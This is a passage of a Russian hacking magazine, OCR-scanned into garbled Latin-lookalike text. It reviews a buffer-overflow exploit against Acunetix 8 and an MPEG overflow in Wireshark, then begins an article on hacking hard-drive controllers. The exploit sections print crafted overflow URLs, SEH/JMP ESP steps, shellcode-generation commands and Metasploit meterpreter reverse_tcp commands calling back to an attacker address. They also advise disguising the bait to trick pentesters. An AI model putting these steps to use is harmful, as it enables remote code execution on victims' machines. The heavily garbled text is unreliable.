MHTepecHO, hto no yMO/iHaHi/iio peAHpeKT USB otk/ikdhoh Ha kjimghtckom nacTM. 
HTo6bi sto nonpaBMTb, HaAO 33mtm b rpynnoBbie no/inTMKM (KOMaHAa mmc — Add/ 
Remote Snap-In). TaM no nyTM «Computer Configuration \ Administrative Templates 
\ Windows Components \ Remote Desktop Services \ Remote Desktop Connection 
Client \ RemoteFX USB Device Redirection» pa3pewnTb peAHpeicr. Ranee Bbino/iHaeM 
gpupdate /force m nepe3arpy>KaeM KOMn. 

C cepBepHbiM xe cocTOflHHeM «no yMO/iHaHMio» noKa He hcho ao KOHu,a. Bpo- 
Ae KaK Bee 33BMCHT ot pe>KHMa (po/in) 3anycKa TepMkiHa/ibHoro cepBi/ica. Eoni/i sto 
«CTaHAapTHbiM» RDP — Remote Desktop Session Host, to OTKmoneHO, a eariM Remote 
Desktop Virtualization Host (kotophm ncnonb3yeTCsq A-nfl BnpTyann3npoBaHHbix Hyper-V 

XOCTOB) — BKJllOHeHO. 

KcTaTM, eoni/i Te6a MHTepecyKDT KaKwe-TO bhaw aTaK hjim TexHO/iornn, o kotophx 
6bi Tbi xoTe/i y3HaTb, nv\6o Tbi xoneiub i/iconeAOBaTb hto-to, noAHflTb neHTecTepcKne 
ckm/i/in — nuLLii/i Ha noHTy. 

CnacuSo 3a BHMMaHne v\ ycneujHbix no3HaHMM HOBoro! 
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B 3tom o63ope Mbi paccMOTpuM SKcrmoMTbi b cocjrre A-n^ npoBeAeHM^ aiaK. 
Mcnanb3yfl TaKi/ie y^3BMMOCTi/i, moxho C03Aa~rb aicMBHyio 3aLu,nTy, KOTopaa civioxeT 
aiaKOBaTb b OTBeT Bcex, kto nbiTaeTca nojiyni/rrb BaxHyio MHct)opMai4HK). 



yfl3BMM0CTb HY/IEBOrO flHfl B ACUNETIX 8 



CVSSv2: 


10.0 (AV:R/AC:L/Au:N/C:C/l:C/A:C) 


AaTa penn3a: 


23 anpe/ia 2014 roAa 


AeTop: 


Danor Cohen, Osanda Malith 







Acunetix — oahh M3 caMbix nonyrmpHbix Be6-CKaHepoB yfl3BHMOCTePi m 3HaKOM mhor/im 
HaujMM HMTaTe/i^M 6/iaroflap^ xopolumm pe3ynbTaTaM v\ npocTOTe ncno/ib30BaHHfl. llpaB- 
Aa, 6o/ibiuMHCTBO^K)Ae^ ncno/ib3yeT ero «03HaKOMMTe/ibHyK)» Bepcwio Acunetix 8 (6hjia 
20120704) M3-3a oiuyTMMOki ueHbi. B CBfl3i/i c 3tmm aTaKy c ncno/ib30BaHi/ieM HaMAeHHOM 

y^3BMMOCTM np03Ba/lH «B3/IOMaM CKpMnT-KMAAH^- 

OLui/i6i<a npoMexoAHT M3-3a HenpaBM/ibHOM o6pa6o~n<n no/iyneHHbix AaHHbix, b Haci~- 
hoctm ccbmoK Ha CTopoHHue AOMeHHbie nivieHa. Bot npuMep HatiAeHHbix c noMOiu,bK) 
MOAynfl Scan Wizard AOMeHOB ajih 6/iora aBTopa yfl3BHMOCTn . 
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XS5-yfl3BMMOCTb b McAfee Superscan 4.0 



3tot MOAy/ib co6npaeT AOMeHbi M3 HTML-TeroB, ncno^b3yeMbix Ha HcaneAyeMOM caw- 
Te, Hanpmviep: 



<img src=http://externalSource.com/someimg.png > 
<a href =http://externalSource. com/ ></a> 



rioc/ie He6ojibLuoro c|)a33MHra 6bmo HatiAeHO, hto Acunetix naflaeT, eoni/i A-nnna crpOKM 
c AOMeHHbiM MMeHeM 6yAeT paBHa 268 uni/i 6o/ibiue 6afiT: 

<A href="http : / / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
A AAAAA AAAAA AAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAA AAAAA " > 



npn 6biCTpOM aHa^M3e naAGHna npmioxem/m b Immunity Debugger bmahm, hto nponc- 
xoaut noBpe>KAeHMe perncTpa EDX, KOTopbifi 3ano/iHfleTCfl koaom CMMBO/ia A. 3HaneHne 
perncTpoB npeACTaB^eHO Ha CKpuHiuoTe. 

flepBa^ npo6jieMa b 3KcnjiyaTau,nn stom yfl3Bi/iMOcrn 3aKJiiOHaeTCH b o6xoAe SEH. 



Registers. (FPU) 



< 



< 



< 



0012F8BC 
41 414141 

unison 

eei2F7se 
eei2F8ce 

0785FEEC 
006BC1D4 

ee405»8 

ES 9023 
CS 001B 
SS 9923 
DS 0Q23 
FS 003B 

GS 0006 



3HaneHMfl perncTpoB noc/ie 
oluh6kh b Acunetix 



BSC I I "RflfififlflRPPRfifiRRfiflRRRRfifiRflflRfiRflRpfiRR 

TISCI I "flflfiflflRRflflRflflflRflflRflfiflflflRflflflflflflflflfiflfi 

ASCII '^RPflflflRflPRfiflRRRflRRRflPflRRflPlflflRRflPRfl 

wys.0060ClD4 

wms. 00405398 

32b It 0( FFFFFFFF) 

32b Lt 01 FFFFFFFF) 

32b Lt 01 FFFFFFFF) 

32b Lt 0( FFFFFFFF) 

32b it 7FFDF0001' FFF) 
NULL 



Last Err WSflNCLDATfl C09002RFC) 
00210206 ( NO, MB, NE r R r NS P PE P GE, G) 

empty 
empty 
empty 
empty 
empty 
empty 
empty 
empty 



3 2 10 
0120 Cond 0 0 0 1 
1372 Prec NERR, 64 



ESPUOZDI 
Err 0 0 10 0 0 0 0 



(LT) 



Mask 



1 19 0 19 



BTopyio moxho onwcaTb oahmm cjiobom — ASCII. Acunetix no/iynaeT MHc^opiN/iaunK) 
o BHeujHMx AOMeHax KaK URL-aApeca. A TaK KaK URL-aApeca coAepxaT TO/ibKO u,ncj)pbi 
m 6yKBbi 3a OTAe/ibHbiM MCK/noneHneM, to Mbi He civioxeM yKa3aTb HeKOTOpbie aApeca. 
Hanprnviep, chmboji " 6yAeT npeACTaB/ieH b naivmTi/i KaK 253232, noTOMy hto BHanane 

KOHBepTMpyeTCfl B %22 M 3aTeM TOJlbKO B KOAbl CHMBOJIOB. KCTaTM, caM CMMBO/I % Toxe 

6yAeT KOHBepTMpoBaH h OTo6pa3MTca KaK 253235. 

rioaTOMy Mbi MOxeM ncno/ib30BaTb TO/ibKO CMMBO/ibi M3 Anana30HOB: A-Z, a-z, 1-0. 

l/l HeCKOJlbKO CneU,Ma^bHblX CI/IMBO/lOB-MCK/lKDHeHMM! ! () = }{. 

Abtop AO/iroe Bpeivm nbiTajica h3mtm o6xoa SEH c ncnonb30BaHneM TO/ibKO «nenaT- 
Hbix» cmmbojiob, ho Hawe/i jiMLUb o6xoahom nyTb, nosTOMy oh coBeTyeT He TpaTMTb Bpe- 

M9\ Ha nOMCKM. 

AaBaM B3m$iH6M Ha no/iyneHHoe peweHne. Earm nocMOTpwvi Ha CTpoKy, b kotopom 
nponcxoAUT naAeHne, to yBMAUM cneAyKDLiiee: 



00405998 8B4A F8 MOV ECX, DWORD PTR DS:[EDX-8] 



Mbi nepe3anncbiBaeM perwcTp EDX, ho b mhctpykumm oh ncno/ib3yeT nojiyneHHoe 3Ha- 
neHne MMHyc 8. To ecTb k HawASHHOMy noAxoAflLueiviy aApecy HyxHO 6yA©T Ao6aBHTb 8, 
KOHBepTupoBaTb b «neHaTHbie» CHMBO/ibi n HaAO^TbCfl Ha /lyHiuee... 



* Immunity Debuf^er wvi.exe - [CPU main thread, module wvi| 
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AHa/iM3 nafleHMfl npn^o>KeHMn Acunetix b Immunity Debugger 

rioc/ie He6o/ibLuoro noncKa 6bm HaMAen noAxoA^iAnw aApec, KOTopbiM ycneniHO 
npeACTaB/iaeTca noAxoA^LUMMM CMMBO^aMn: 

0x66303035 = f005 



A-na noMCKa HyxHoro CMeLueHHa moxho BOcno/ib30BaTbC5i yTn/iHTaMM pattern_create . 
rb i/i pattern_off set . rb 1/13 cJ)peMMBopi<a Metasploit. He6o/ibLuoe pyKOBOACTBO no mx 

MCnO/lb30BaHMK) Mbl ny6/lMKOBa/IM B OAHOM M3 HOMGpOB, M/1M MOXeiJJb npoHecTb OH- 

jiaMH-BepcMK) Ha HameM caMTe . 

Aa/iee HaxoAUM mgcto b URL-aApece, KOTopoe 3aTnpaeT perncTp, m noACTaBMM no- 
^yneHHoe 3HaneHMe 



< img s r c= " htt p : / / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5 00f B BBBBBBBBBBBBBBBBBBBBBB 
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"> 



Pe3y/ibTaT npeACTaB/ieH Ha CKpuHiuoTe. KaKTbi BHAMiub, Mbi Ao6mincb HyxHoro pe3y/ib- 
TaTa 1/1 nepe3annca^n perwcTp EIR 



rioMMMO SToro, ecTb ABa MecTa, KyAa Mbi mo>kgm noACTaBi/iTb Haw Lue/ui-KOA: perw- 
CTpbi ESP m EAX. JlyHLue Bcero ncnoJib30BaTb ESP no HecKonbKi/iM npi/HUHaM: 

• 3tot perncTp yKa3biBaeTC?i tohho Ha Hanaro ctpokh c Lue/ui-KOAOM; 

• 6ojibiue MecTa noA none3Hyio Harpy3Ky, neivi b EAX. 

noane Toro KaK Mbi onpeAe/imincb c Bbi6opOM pemcTpa, HyxHO HaPiTM aApec, yKa3biBa- 

KDLAMM Ha MHCTpyKU.HK): 
DMP ESP 

3tot aApec AO/ixeH 6yAeT 3anncaH c noMOw,bio «nenaTHbix» cmmbojiob. Abtop opurn- 
Ha/ibHoro 3Kcn/iOMTa i/icno/ib30Ba.n c/iGAyKDLu,nM aApec: 

0x7e79515d (w3 6n6/iMOTeKM SXS.DLL ) = ]Qy~ 

TaKxe moxho BOcnonb30BaTbCfl yTM/imoM mona.pv ot Corelan c noAxoAfliAHMH onu,n^- 
mi/i n HaMTi/i eu\e BapnaHTbi: 

!mona jmp -r esp -cp asciiprint 

0x4d526349 : jmp esp | asciiprint , ascii, alphanum {PAGE_EXECUTE_READ} 
[WINHTTP.dll] ASLR:Jalse, Rebase: False, Saf eSEHj_J>ue J OS: True, 
v5 . 1 . 2600 . 2180 (C : \WIND0WS\system32\WINHTTP . dll ) 

Pe3y/ibTaT 6yAeT BbirrmAeTb npwviepHO TaK: 

0x4d526349 = MRcI 

Ho BOcnojib3yeMCfl nepBbiM, noACTaBUM ero b Hamy aTaKyiomyio ccbmKy i/i 3anycTHM 
nporpaMMy: 

< img s rc= " http : / / AAA AAA AA A AAA AA AA AAA AAAAA AAAAA A AAA AA A AAAA A AA AA A AAAA A AAAAAA AAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5 00f B B B B ] 
Qy~BBBB. . . "> 

Pe3y/ibTaT cpa6aTbiBaHMH Tbi yBi/iAnu_ib Ha CKpi/iHiuoTe. Mbi Ao6njii/icb Bbi30Ba i/iHCTpyK- 
uy\v\: 

INC DEX 



* Immunity Debugger ww.eirr [CPU main thread] 
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9:23:451 Accecc violation whan executing 1424242421 - use Shif f to 



exception to prog l* an 



flepe3anMCb perncipa EIP noc/ie o6pain,eHMfl k a Apecy 0x66303035 



Ee onKOflOM HB/meTCH 42 — koa nepeAaHHoro ci/iMBO/ia B. Ec/im 3aivieTmi, to nojiyneH- 
HbiM aApec Mbi 3anncann nepe3 neTbipe ci/iMBona nocne nepBoro aApeca, TaK KaK ohm 
mayt b HeHyxHbiPi HaM perncTp. 

CneAyK)iAHM LuaroM HaM HaAO noAo6pa~rb noAxoA^iAnw Windows-we/in, KOTOpbiM Mbi 
CMOxeM 3anncaTb KaK URL-dpoKy. B stom HaM MoryT noMOHb ABe yinnnTbi: 
Python-yTHJiHTa ALPHA3 : ALPHA3 . py esp --input="shellcode. bin"; 
Metasploit-ymni/rra: msf payload windows/exec cmd=calc EXITFUNC=thread R| 
msfencode -e x86/alpha_mixed -t python BufferRegister=ESP. 

Ho He 3a6biBaM: TaK KaK uien/i-KOA HaxoAHTca b ESP-perwcTpe, to nepBaa MHCTpyKuna 
AonxHa 6biTb 



PUSH ESP 



l~lo3TOMy Mbi i/i yKa3biBaeivi b yTi/i/ii/iTax t3kom napaivieTp. no/iyneHHbiM 3kc.~ijiomt ycneuj- 
ho npoxoAHT DEP-3amnTy, TaK KaK Acunetix 6bin CKOMnminpoBaH 6e3 cooTB6TCTByiOLu,ei/i 
onu,nn. no/iyneHHyio CTpoKy Tbi Moxeiub Ao6aBMTb b Haiuy ccbi/iKy n coxpaHHTb y ce6a 
Ha caPiTe. 



Immunity Debugger - vm.im - [CPU - main thread] 
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jlmona find -type in6lr s '^mp csp" -x X 



1 IP.uied 



• 



Bbino/iHeHHe KOfla H3 perncipa ESP a/ia Acunetix 8 nepe3 aflpec 0x7e79515d 
EXPLOIT 

Tenepb paccMOTpmvi 3Kcn/iOMTbi, KOTopbie MoryT creHepupoBaTb Bee onwcaHHoe. Ha mo- 
mght HanMcaHMfi CTaTbM cymecTBOBa/io ABa nyS/inHHbix aKcrmoMTa: 

• oahh , ot aBTOpa HaMAGHHoPi yfl3BMMOCTM, HanwcaH Ha Perl; 

• BTOpoki HanwcaH Ha Python. 

TaKxe AOCTynHbi bmago no 3KcnjiyaTau,nn KaK Python-Bepcnn . TaK m Perl-Bepcnn . 

EAMHCTBeHHaa npo6/ieMa — TaKne aApeca 6yAyT oseHb noA03pme.nbHbi J KorAa aia- 
KyiomHM yBMAUT mx b OKHe Scan Wizard, noaTOMy aBTop npeAnaraeT nx 3aMacKi/ipoBaTb: 

1 . CAO/iaTb aomgh 6ojiee npMB/ieKaTe/ibHbiM: 

AD MIN . ControlMangment . 1249874350345 . site . com 

2. Mcno/ib30BaTbMMeHaAOMeHOB,HaHMHaKDLAMecacTMnoByfl3BMMOCTeM:SQLINJECTION, 
XSS", CSRF m noAo6Horo. Hanpwviep: 

<img src="http://CSRF. , 

• •• ••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••a . .. ... 

we/i/i-KOfl"> 

6o/ibLUMHCTBO HaHMHafomux neHTecTepoB c paAOCTbio Bbi6epyT TaKne nyHKTbi, HaxiviyT 
OK m Ranee BbinojiHHT noACTaB/ieHHbiM npon3BonbHbM koa- 

TARGETS 

ripoTGCTMpoBaHO Ha Acunetix 8 build 20120704. 
SOLUTION 

EcTb ncnpaBJieHne ot npon3BOAHTe/ia. 
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no/iynaeM o6biHHoe nepeno/iHeHne 6ycf>epa. 

npo6neiviy pa3pa6oTHMKM jierKO ncnpaBmin, Ao6aBi/iB npoBepKy Ha pa3Mep naKeia: 

if (packet_size > WTAP_MAX_PACKET_SIZE) 

{ 

— » * * 

*err = WTAP_E RR_BAD_F I L E ; 

*err_info = g_strdup_printf ("mpeg: File has %u-byte packet, bigger 
than maximum of %u" , packet_size, WTAP_MAX_PACKET_SIZE) ; 
return FALSE; 

1 

B OTJiMsne ot npeAbiAyLuew nporpaMMbi AaHHaa 6ecnjia~rHafl c OTKpbiTbiMn ncxoAHMKa- 
mh, ho AOBO/ibHO nacTO Mcno/ib3yeTCfl ee portable-Bepcuq, KOTopyio nepnoAHHecKn 3a- 
6biBaK)T oGHOBJi/iTb. TaK hto y Te6n ecTb Bee luaHCbi ycneujHO BOcnojib30BaTbCfl cnepy- 

KDULI,HM SKCn/lOMTOM. 

EXPLOIT 

dpyKTypa (J)aPiJia-3KcnjiOMTa BK/ifonaeT HecKO/ibKO nacTePi: 

• cumaTypy (Magic number) MPEG-cfjafijia — FFFB41; 

• c/iyHaMHbie AaHHbie; 
ROP-u,enoHKy; 
Liie/i/i-KOA; 

• cjiynaMHbie AaHHbie, hmcjio KOTopbix onpeAe/ifleTCH pa3MepoM npeAbiAymux ceKu,MM; 

• MHCTpyKu,nK) Ana o6xc-Aa SEH-MexaHM3Ma, eonn tyav\n OTKpbiBaeTca nepe3 KOMaHA- 
HyKD CTpoKy; 

• CHOBa c/iynaMHbie AaHHbie; 

• MHCTpyKu.nK) Ana o6xoAa SEH, eoni/i OTKpbiBaeTca nepe3 GUI. 

HecKO/ibKO MHCTpyKUMM SEH npMLunocb ncnonb30BaTb n3-3a pa3JiMHHbix cueHapM- 
eB OTKpbiTMfl 4>aM.na. Ecjim HHTepecHO, Moxeiub nocMOTpeTb mctophkd pa3pa6oTKM 
Ha GitHub-aKKayHTe aBTopa . 

HTo6bi H3MTM ROP-uenosKy m MHCTpyKUHM A-na o6xoAa SEH, KaK n b npeAbiAyu-ieM 
SKcnjiOMTe, BOcnonb3yeMca yTmii/iTofi mona.py. 

KcTaTM, KOtviaHAa Corelan b cbocm BHAeo no ncno/ib30BaHMio CKpi/inTa b KanecTBe npw- 
Mepa KaK pa3 npMBOAm OAHy M3 y«3BHM0CTePi b nporpaMMe Wireshark. B HaiueM anynae, 
3Haa Hy>KHbie 6n6jinoTeKM, moxho 3aK)3aTb TaKyK) KOMaHAy: 

!mona rop -m "libgtk-win32, libjpeg, libgnutls, *-> 
libgobject, libcares" -cpb '\xff 

A noKa B03bMeM roTOBbiPi Metasploit-MOAy-nb, KOTopbiM reHepwpyeT (pawn 0opMaTa PCAP 
A/ifl OTKpbumq ero ya3BHMofi nporpaMMOM Wireshark: 

use exploit/windows/fileformat/wireshark_mpeg_overflow 

msf exploit (wireshark_mpeg_overflow) > set payload windows/meterpreter/«-« 



reverse_tcp 

msf exploit (wireshark_mpeg_overflow)^^set lhost 192.168.81.131 
msf exploit (wireshark_mpeg_overflow) > set target 1 
msf exploit (wireshark_mpeg_overflow) > exploit 

riocne 3Toro OTripaBJiaeM <$a\An no.nb30BaTe.nK) aTaKyeMOM Mauji/iHbi H3 nanKM /root/. 
msf4/local/mpeg_overflow. pcap, a y ce6n 3anycKaeM K/ineHT, KOTopbiM 6yAeT oxnAaTb 

KOHHGKTai 

msf exploit (wireshark_mpeg_overflow) > use exploit/multi/handler 
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit (handler) > set lhost 192.168.81.131 
msf exploit (handler) > exploit 

OcTanocb AO>K,o,aTbCfl 3anycKa Hawero fyawna, noane nero Bbinojii-meM n\o6b\e KOMaHAbi 
Ha no6exA6HHoPi MawwHe :). 

EcTb MAe^ nonpo6oBaTb Aopa6oTaTb SKcnnotiT, HTo6bi oh reHepupoBa/i He c^aw/i, 
a naKeT, h OTnpaBrmTb ero nocTOHHHO no ce~n/i. TeM caMbiM c 6ojibLuoPi BepoflTHOCTbio 
jikd6om ne/iOBeK, KOTopbiM nonpo6yeT nocHi/icfjaTb tbom naKeTbi, ncno/ib3yfl ya3BHMyK) 
Bepcuio, Bbino/iHMT npon3BO/ibHbiM koa Ha CBoew MaujHHG. Hy mjii/i npocTO ero Wireshark 
6yAeT nocTO^HHO caMonpon3BO/ibHO 3aKpbiBa~rbCH. 

BMAeo no pa6oTe c stom y«3BMMOCTbK) h i/iagi/i ee ncno/ib30BaHHfl ony6.ni/iKOBa.ni/i pe- 
6ma M3 Digital Security b CBoeM CTaTbe no «no6ery» 1/13 Bi/ipTya/ibHOM Mauii/mbi. 




TeHepupyeM dKcnnovn-fyawn p,nn Wireshark b Metasploit 
TARGETS 

• Wireshark <= 1.8.12; 

• Wireshark <= 1.10.5. 

SOLUTION 

EcTb McnpaBjieHMe ot npon3BOAHTe/ifl. □c 



B3J1QM 




XecTKi/M a^ck, oh xe Bi/iHHGCTGp, He Tarae yx m npo- 

CTOe yCTpOMCTBO, K3KHM MOXeT nOKa38TbC^ Ha nepBbiM 

B3m^A- 3a bckd MCTopi/ifo CBoero cym,ecTBOBaHi/i£, Ha- 
Hi/iHa^ c 1956 roAa, HaKoni/iTe/ii/i npeTepne/ii/i orpoMHoe 
KO/iMHecTBO M3MGHGHI/1M. Tenepb 3to He npocTO n;ia- 
CTi/iHa co CHi/iTbiBafOLAi/iMM ro/iOBKaiviM, a ueria^ ci/iCTe- 
Ma co CBoei/i jiori/iKOM 1/1 nporpaMMHbiM oSecneneHi/ieM, 
a c/ieAOBaTe/ibHo, co cbohmi/i cJdi/ihsmi/i v\ ceKpeiaMi/i. 
B 3tom CTaTbe Mbi nonpoSyeM pa3o6paTbca hto co6oi/i 
npeACTaBn^ieT coBpeivieHHbii/i xecTKi/11/1 auck, a TaKxe no- 
nbnaeMC^ paciui/ipi/iTb ero CTaHAapTHbie bo3moxhoctm 
AJifl cbomx xaKepcKMx nenei/i. 



3J1EKTPOHMKA HDD 

KoHCTpyKu,i/iH BMHHecTepa b kskom-to CTeneHH HaBepHHKa M3BecTHa Ka>KAOMy. no cyTH, 

3T0 HeCKO/lbKO n/iaCTMH, KOTOpbie BpaiJ4aiOTC51 CO CKOpOCTbK) 15 000 06/MHH, yCTpOMCTBO 

no3Mu,MOHMpOBaHna m 6jiok ynpaB^^KDLueki s/ieiapoHi/iKi/i. Ao6aBMM k 3T0My ci/iCTeiviy ca- 
mokohtpojih S.M.A.R.T. h APyrwe MHTejiJieKTyajibHbie aTpn6yTbi. Kopone, 6e3 no/i-Jimpa 
He pa36epeLUbCfl, TeM 6onee TexHOJion/ia OTAe/ibHbix 3/ieMeHTOB cocTaB/ifleT KOMMepne- 
CKyK) TaMHy. 

BblCOKOM TOHHOCTH n03MU,HOHHpOBaHl/1fl, n/lOTHOCTH 3anMCM M npOHMM TOHKOCTHM 

coBpeivieHHbix HDD moxho nocB^THTb He oahh aochtok CTaTew, ho Mbi, He yr.ny6.rmflCb 
b MexaHMKy AncKa v\ cJ)M3MKy npou,eccoB, paccMOTpi/iM Han6onee MHTepecHyK) A-na Hac 

HaCTb — 3/ieKTpOHMKy. 



fl/iaTa >KecTKoro AncKa 



riAUHEHT 

MTaK, nepeAHaMM njiaTa™nnHHoro xecTKoro flMCKa Western Digital WD5000AAKX o6"be- 
mom b 500 l~6 (puc. 1 ). Hto Mbi MMeeivi: 

1 . MwKpocxeivia DRAM. MHTepeca KaK TaKOBoro He npeACTaBJiaeT, MaHya/i jierKO moxho 
HaMTM b CeTM. riaMHTb 3tmx HunoB KOJie6.neTCfl ot 8 ao 64 M6 v\ cooTBeTCTByiOT pa3Me- 
py Kema xecTKoro AMCKa. 

2. KoHTpo.n.nep ABwraTe.rm LunnHAe.rm. OTBenaeT 3a ynpaB/ieHwe MexaHMKOM, pery/iwpyeT 
MOiAHOCTb m i/iMeeT HeKOTopbie aHa/ioroBbie/u,M(J)poBbie KaHa/ibi. Ha nun Smooth L7251 
3.1 MaHya/ibi OTcyTCTByiOT, ho moxho nonpo6oBaTb noncKaTb noxoxne MUKpocxeMbi. 

3. O/ieuj-naMFiTb. Ha HeKOTopbix BHHnecTepax MHKpocxeMa OTcyTCTByeT, ho cj)/ieuj-na- 
M^Tb 6biBaeT BCTpoeHa b nun KOHTpo/i/iepa AncKa. 06bHHO MMeeT pa3Mep b npeAe/iax 
ot 64 ao 256 K6. Mcnonb3yeTca Ana xpaHeHHH nporpaMMbi, ot kotopom 3arpyxaeTCH 
KOHTponnep >KecTKoro AncKa. 

4. M caiviafl juoOonbrmafl Ana nac Bemb — KOHTpon/iep xecTKoro AncKa. Mx npon3BOAsrr 
KOMnaHMM Marvell, ST, LSI h Apyi~ne. HeKOTOpwe KOMnaHMM, npon3BOA^iAne BMHHecTepbi, 
Ae/iaiOT CBOi/i co6cTBeHHbie KOHTpojinepbi, KaK, Hanprnviep, Samsung n Western Digital. 

KoHTpo/i/iep xecTKoro AncKa npeAHa3HaneH AJifl ynpaB/ieHna onepau,MHMn npeo6pa30- 
BaHMa i/i o6ivieHa AanHbiMM ot idjiobok HTeHMfl/3anncn k MHTepc^ePicy HaKoniTre/m. K co- 
xaneHMio, KOMnaHi/m Marvell HexoneT BbiK/iaAbiBaTb AOKyMeHTau,i/iio Ha cbokd npoAyKu,nio 
b OTKpbiTbiM AOCTyn. Hy hto x, nonpo6yeM pa3o6paTbca caMM. 

KOnHEM rilYBXE 

Hauj 3apy6e>KHbiM KOJi/iera 1/lepyH «Sprite_tm» AoM6ypr Hawe/i 

MHTepeCHbIM BblXOA H3 A3HH0M CMTyaUMM — MCCJieAOBaHUfl 

KOHTpo/i/iepa oh ncno/ib30Baji MHTepc|)eMC JTAG (ot anrn. Joint 
Test Action Group). 3tot MHTepcJ)eMC npeAHa3HaneH Ana TecTupo- 
BaHMfl m OT/iaAKM nenaTHbix nnaT. To ecTb c noMombio JTAG Mbi mo- 
xeM cnoKoPiHO noAK/iiOHMTbca k MHTepecyiOLueMy Hac ycTpOMCTBy, 
noAAepxHBaiOLueiviy CTaHAapT IEEE 1149. B MMKpocxeiviy i/iHTerpw- 
pyeTCfl nopT TecTi/ipoBaHi/ia (TAP — Test Access Port), coctohlaum 
M3 neTbipex win nm"n bwboaob: TDI, TDO, TMS, TCK m, bo3mo>kho, 
TRST Pacno/ioxeHne stux BbiBOAOB a-tih KOHTponnepa Marvell Ha- 
Lue/i HeKnn _dex_, /iio6e3HO noAe^MBiuMMCfi pe3ynbTaTaMM Ha cfro- 
pvMe HDDGURU . 

MepyH BbmcHnn, hto y KOHTpoji/iepoB Western Digital ecTb 
ARM-^APO, AOCTynHoe nepe3 JTAG-nopT. A TaKxe nooneAOBa- 

Te/lbHblM nopT, KOTOpbIM 06blHH0 He MCnO/lb3yeTCf1, HO MOXeT 6blTb 

no/ie3eH a-tih Haninx u,ene\A. 

A-nfl nccneAOBaHna KOHTpo/uiepa xecTKoro A^CKa ncnojib3o- 
Ba/iacb nnaTa FT2232H, KOTOpyio moxho 3aKa3aTb b MHTepHeTe 
3a 30 eBpo. OHa noAAepxuBaeT JTAG, CBH3b nepe3 nooneAOBa- 

TPnkHWM nnm a ~rak^p .9PI firm nafSnTKi r. hpm i/ir.nnnk^nRflnar.h 
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B dapbix MOAe/iax 

XeCTKMX AUCKOB HaCTb 

4)yHKuntiynpaB/iflK)- 

UJ,eM 3/lGKTpOHMKH 6pa/l 

Hace6a MFM- n/w 
RLL-KOHTpoji/iep KOMnbio- 
Tepa. HocoBpeMeHeM 

M3-3a BblCOKMX CKOpOCTeM 

nepeAaHMflaHHbixno- 
Tpe6oBa/iocb coKpaTMTb 
TpaKT nepeAann AaHHbix, 
n pa3pa6oTHMKM 0TKa3a- 

JlMCbOT 3T0M 11 ASM. 



nporpaMMa OpenOCD . 

B pe3y/ibTaTe OKa3a/iocb, hto y Mi/iKpocxGMbi ecTb u,enbix Tpi/i 
aflpa. ABa Feroceon, KOTOpbie HBntuojcn AOBO/ibHO cmibHbiMM 
ARM9-noAo6HbiMM ^ApaiviM, m Cortex-M3, KOTopoe HeMHoro ona- 
6ee. y Bcex HAep pa3Hoe npeAHa3HaHeHne: 

Feroceon 1 o6pa6aTbiBaeT (J)H3HHecKne HTeHne/3anncb 

Ha xecTKMM ahck; 

• Feroceon 2 o6pa6aTbiBaeT SATA-MHTepcJ)eiic, Kern i/i npeo6pa- 
3yeT LBA b CHS; 

• Cortex-M3 — npeAHa3HaneHne Heui3BecTHO. Moxho npocTO 
ocTaHOBMTb ero, ho xecTKufi auck 6yAeT npoAonxaTb pa6oTa~rb. 

AOEPO nO>KAJ10BATb, If JIM nOCTOPOHHMM BXOfl BOCnPELUEH 

TaK KaK Mbi CTaBM/ii/i nepeA co6om u,ejib i/icnanb30BaTb xecTKi/ifi auck A-na cbomx KOBapHbix 
n/iaHOB, to caivioe BpeMH noAyMaTb o MOAepHM3aQ.nn ero npOLUMBKM. CaMbiM npocTOM v\, 
Bepo^THO, cjioxHbM b oSHapyxeHwn cnoco6 — n3MeHHTb AaHHbie Ha JieTy. HTo6bi CAe- 
jiaTb 3to, HyxHO H3MTM noAxoAflLu.ee hapo — flAPO, KOTopoe MMeeT AOCTyn k AaHHbiM, ny- 
Tei±jecTByK)LU,MM MOKAyAncKOM m SATA-Ka6e/ieM. 

Ana AOCTyna k HAPy moxho ncno/ib30BaTb pexHM DMA (Direct Memory Access). 3to 
t3kom pexHM, KorAa o6ivieH AaHHbix nponcxoAUT HenocpeACTBeHHO c ro/iOBKi/i CHMTbiBaHnq 
b naivi^Tb, 6e3 aKTMBHoro ynacTna npoueccopa. To xe caivioe othoci/itch h k SATA-nopTy: 
npou,eccopy HyxHO TO/ibKO yKa3aTb, rAe AaHHbie, n jiornKa DMA no3a6oTHTca o HTeHMM 

MH(f)OpMaLJ,MM HenOCpeACTBeHHO M3 naM^TM. 

Mctohhmkom MHcf)opiviaLj,MM b 3T0M onyHae nocnyxnT Kenj-naM^Tb BMHnecTepa M3- 
